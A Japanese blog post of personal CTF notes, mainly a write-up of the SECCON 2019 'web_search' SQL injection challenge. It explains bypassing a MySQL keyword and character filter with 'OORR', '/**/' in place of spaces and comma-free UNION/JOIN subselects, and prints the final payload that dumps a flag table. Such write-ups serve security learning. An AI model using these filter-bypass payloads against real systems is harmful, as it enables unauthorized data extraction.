LoginSignup
2
1

More than 3 years have passed since last update.

CTF解法蓄積メモ

Posted at

これはなに

  • CTFの解法を主にまとめていきます.
  • 最初は一つの記事として作りますが,後に分離させるかも
  • 大体自分で見返す用
  • なんとなくジャンル的な分類でまとめては行きたい
  • 開催された大会ごとにまとめるということはしませんが,見出しの後ろにつけます

主な章立て

## ジャンル
### 問題名 (出題元) : XSSとかSQLiとかCodeInjectionとか...
解けたか解けなかったとか,所感とか書く
#### 問題と試行
ここに問題と,その試行の記録などを書く
#### 解法
ここに解法,まとめを書く
#### 知見
ここに解くことによって得た知見を書く

本体

Injection

web_search (SECCON2019) : SQLi

  • 解けなかった(2019/10/22)
  • 基礎知識の不足が問題

問題と試行

  • 検索窓があり,そこにテキストを入力して送信すると,検索に一部一致した結果が返ってくる.
    image.png

  • SQLiだろうなという印象があったのでとりあえず ';-- とかやってみた,エラー.

  • 次に ';#でやってみる,普通の結果が返ってきた -> MySQLかな

  • 元のSQLはSELECT rfc, desc from rfc_table WHERE rfc LIKE 'RFC%' AND desc LIKE '%ココ%';かなといった所感

  • ' or 1;#とかやってみる. -> ';# になって?????? << ここでお手上げ

解法

  • SQLiである.またMySQLで動いている.
  • サーバ側で ,,,or がエスケープされている
  • ORだけ再帰的にエスケープされていない.
    • これによりOORRとすることでORをバイパスできる
  • ,,なしでSQLを組み立てる必要があった.
    • スペースに関しては,/**/でスペースに置き換わるようだ,
    • ,が使えないことに関しては以下の方法で解決できるようだ,
      • SELECT * (SELECT 1)a join (SELECT 2)b join ...
      • joinしていって,お目当ての個数になるまでつなげる.
  • まず全件表示' OR(1) -> flagがflagテーブルにあることを教えてくれる
  • flagテーブルの結果をunionで引っ付ける
    • RFC番号とその説明なので,ID含めて3つでいいかな -> 3つ枠を用意しておく
    • hoge' UNION SELECT * FROM (SELECT * FROM flag)a JOIN (SELECT 1)b JOIN (SELECT 2)c;#
    • 上記のスペースを/**/に置き換える.
    • 結論
payload.sql
'or(1);#
hoge'/**/UNION/**/SELECT*FROM(SELECT*FROM/**/flag)a/**/join(SELECT/**/1)b/**/join(SELECT/**/2)c;#`

知見

  1. /**/はスペースに置き換えられる
  2. SELECT * FROM (SELECT 1)a JOIN(SELECT 2)b JOIN...とカンマなしで取得
  3. とりあえず色々試してみる.ORとか特に動かしやすい物を,エスケープだけならSQLがエラーでもわかる
  4. OR(1)という記法もある
2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1